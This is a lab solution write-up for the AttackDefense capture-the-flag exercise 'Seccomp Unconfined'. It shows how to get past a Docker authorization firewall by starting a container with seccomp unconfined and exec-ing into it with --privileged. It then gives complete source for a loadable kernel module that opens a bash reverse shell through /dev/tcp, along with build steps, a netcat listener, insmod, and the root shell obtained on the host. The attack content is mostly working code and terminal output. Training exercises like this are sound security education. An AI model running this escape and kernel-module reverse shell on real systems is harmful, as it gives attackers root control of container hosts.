

[illegible]

<b>Name</b>	Seccomp Unconfined
<b>URL</b>	<a href="https://attackdefense.com/challengedetails?cid=1534">https://attackdefense.com/challengedetails?cid=1534</a>
<b>Type</b>	Docker Security : Docker Firewalls

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Objective:** Run a container with seccomp unconfined profile, leverage it to escalate to the root user on the host machine and retrieve the flag!

#### **Solution:**

**Step 1:** Check the images available on the machine.

**Command:** docker images

```
student@localhost:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
alpine-mod          latest             e1389e4613a5       9 days ago         38.1MB
modified-ubuntu     latest             54ee2a71bdef       2 weeks ago        855MB
ubuntu              18.04             775349758637       4 weeks ago        64.2MB
alpine              latest            965ea09ff2eb       5 weeks ago        5.55MB
student@localhost:~$
student@localhost:~$
```

4 images are available on the machine.

**Step 2:** Try to start a container in privileged mode.

**Command:** docker run -d --privileged modified-ubuntu

```
student@localhost:~$
student@localhost:~$ docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
student@localhost:~$
```

The firewall prevents running container in privileged mode.

**Step 3:** As it is mentioned in the challenge description, the seccomp profile can be set to unconfined while creating a container. Start a container with seccomp profile set to unconfined.

**Command:** `docker run -d --security-opt "seccomp=unconfined" modified-ubuntu`

```
student@localhost:~$ docker run -d --security-opt "seccomp=unconfined" modified-ubuntu
a2313eb783d1ce7fad916bc22bc5e8ea99cda6e5b0005f39ae3eabbbd40477df
student@localhost:~$
student@localhost:~$
```

**Step 4:** Check the running containers.

**Command:** `docker ps`

```
student@localhost:~$
student@localhost:~$ docker ps
```

CONTAINER ID	IMAGE	COMMAND	CREATED	STATUS	PORTS	NAMES
a2313eb783d1	modified-ubuntu	"/startup.sh"	13 seconds ago	Up 5 seconds		festive_zhuko

```
vsky
student@localhost:~$
```

**Step 5:** Exec into the container in privileged mode.

**Command:** `docker exec -it --privileged a2313eb783d1 bash`

```
student@localhost:~$
student@localhost:~$ docker exec -it --privileged a2313eb783d1 bash
root@a2313eb783d1:~#
```

**Step 6:** Check the capabilities provided to the docker container.

**Command:** `capsh --print`

```

root@a2313eb783d1:~# capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_
immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_
p_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_
p_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_su
spend,cap_audit_read+eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_lin
ux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio
,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config
,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block
_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=

```

The container has SYS\_MODULE capability. As a result, the container can insert/remove kernel modules in/from the kernel of the host machine.

**Step 7:** Write a program to invoke a reverse shell with the help of usermode Helper API.

#### Source Code:

```

#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1", NULL};

static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) {

    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {

    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

```



### Explanation

- The `call_usermodehelper` function is used to create user mode processes from kernel space.
- The `call_usermodehelper` function takes three parameters: `argv`, `envp` and `UMH_WAIT_EXEC`
  - The arguments to the program are stored in `argv`.
  - The environment variables are stored in `envp`.
  - `UMH_WAIT_EXEC` causes the kernel module to wait till the loader executes the program.

Save the above program as “reverse-shell.c”. The above program will connect back to port 4444 on the localhost interface.

**Command:** `cat reverse-shell.c`

```
root@a2313eb783d1:~# cat reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1", NULL};

static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) {

    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {

    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

root@a2313eb783d1:~#
```

**Step 8:** Create a Makefile to compile the kernel module.

**Makefile:**

obj-m +=reverse-shell.o

all:

make -C /lib/modules/\$(shell uname -r)/build M=\$(PWD) modules

clean:

make -C /lib/modules/\$(shell uname -r)/build M=\$(PWD) clean

Note: The make statement should be separated by a tab and not by 8 spaces, otherwise it will result in an error.

**Command:** cat Makefile

```
root@a2313eb783d1:~# cat Makefile
obj-m +=reverse-shell.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
root@a2313eb783d1:~#
```

**Step 9:** Make the kernel module.

**Command:** make

```
root@a2313eb783d1:~# make
make -C /lib/modules/5.0.0-20-generic/build M=/root modules
make[1]: Entering directory '/usr/src/linux-headers-5.0.0-20-generic'
CC [M] /root/reverse-shell.o
Building modules, stage 2.
MODPOST 1 modules
CC /root/reverse-shell.mod.o
LD [M] /root/reverse-shell.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.0.0-20-generic'
root@a2313eb783d1:~#
```

**Step 10:** Start a netcat listener on port 4444

**Command:** nc -vnlp 4444

```
student@localhost:~$  
student@localhost:~$ nc -vnlp 4444  
Listening on [0.0.0.0] (family 0, port 4444)  
█
```

**Step 11:** Copy and paste the lab URL in a new browser tab to open another terminal/console/CLI session. Insert the kernel module using insmod.

**Command:** insmod reverse-shell.ko

```
root@a2313eb783d1:~#  
root@a2313eb783d1:~# insmod reverse-shell.ko  
root@a2313eb783d1:~#
```

The kernel module will connect back to the netcat listening on port 4444 of the container and provide bash shell to the attacker. The module will wait in the same state for the bash session to be closed and only then it will exit.

**Step 12:** List the processes running on the host machine using the bash session received on netcat.

**Command:** ps -eaf

```
student@localhost:~$ nc -vnlp 4444  
Listening on [0.0.0.0] (family 0, port 4444)  
Connection from 127.0.0.1 55760 received!  
bash: cannot set terminal process group (-1): Inappropriate ioctl for device  
bash: no job control in this shell  
root@localhost:/#  
  
root@localhost:/# ps -eaf  
ps -eaf  
UID          PID    PPID  C STIME TTY          TIME CMD  
root           1        0  0 07:31 ?           00:00:05 /sbin/init
```



```
root      2      0  0 07:31 ?      00:00:00 [kthreadd]
root      3      2  0 07:31 ?      00:00:00 [rcu_gp]
root      4      2  0 07:31 ?      00:00:00 [rcu_par_gp]
root      6      2  0 07:31 ?      00:00:00 [kworker/0:0H-kb]
root      8      2  0 07:31 ?      00:00:00 [mm_percpu_wq]
root      9      2  0 07:31 ?      00:00:00 [ksoftirqd/0]
root     10      2  0 07:31 ?      00:00:02 [rcu_sched]
root     11      2  0 07:31 ?      00:00:00 [migration/0]
root     12      2  0 07:31 ?      00:00:00 [idle_inject/0]
root     14      2  0 07:31 ?      00:00:00 [cpuhp/0]
root     15      2  0 07:31 ?      00:00:00 [cpuhp/1]
root     16      2  0 07:31 ?      00:00:00 [idle_inject/1]
root     17      2  0 07:31 ?      00:00:00 [migration/1]
root     18      2  0 07:31 ?      00:00:00 [ksoftirqd/1]
root     20      2  0 07:31 ?      00:00:00 [kworker/1:0H-kb]
root     21      2  0 07:31 ?      00:00:00 [cpuhp/2]
```

**Step 13:** Search for the flag file on the file system

**Command:** find / -name flag 2>/dev/null

```
root@localhost:/#
root@localhost:/# find / -name flag 2>/dev/null
find / -name flag 2>/dev/null
/root/flag
root@localhost:/#
```

**Step 14:** Retrieve the flag.

**Command:** cat /root/flag

```
root@localhost:/# cat /root/flag
cat /root/flag
cba156355ff90f52f2832ee3633df230
root@localhost:/#
```



**Flag:** cba156355ff90f52f2832ee3633df230

**References:**

1. Docker (<https://www.docker.com/>)
2. call\_usermodehelper  
(<https://www.kernel.org/doc/html/docs/kernel-api/API-call-usermodehelper.html>)
3. Invoking user-space applications from the kernel  
(<https://developer.ibm.com/articles/l-user-space-apps/>)
4. Usermode Helper API (<https://insujang.github.io/2017-05-10/usermode-helper-api/>)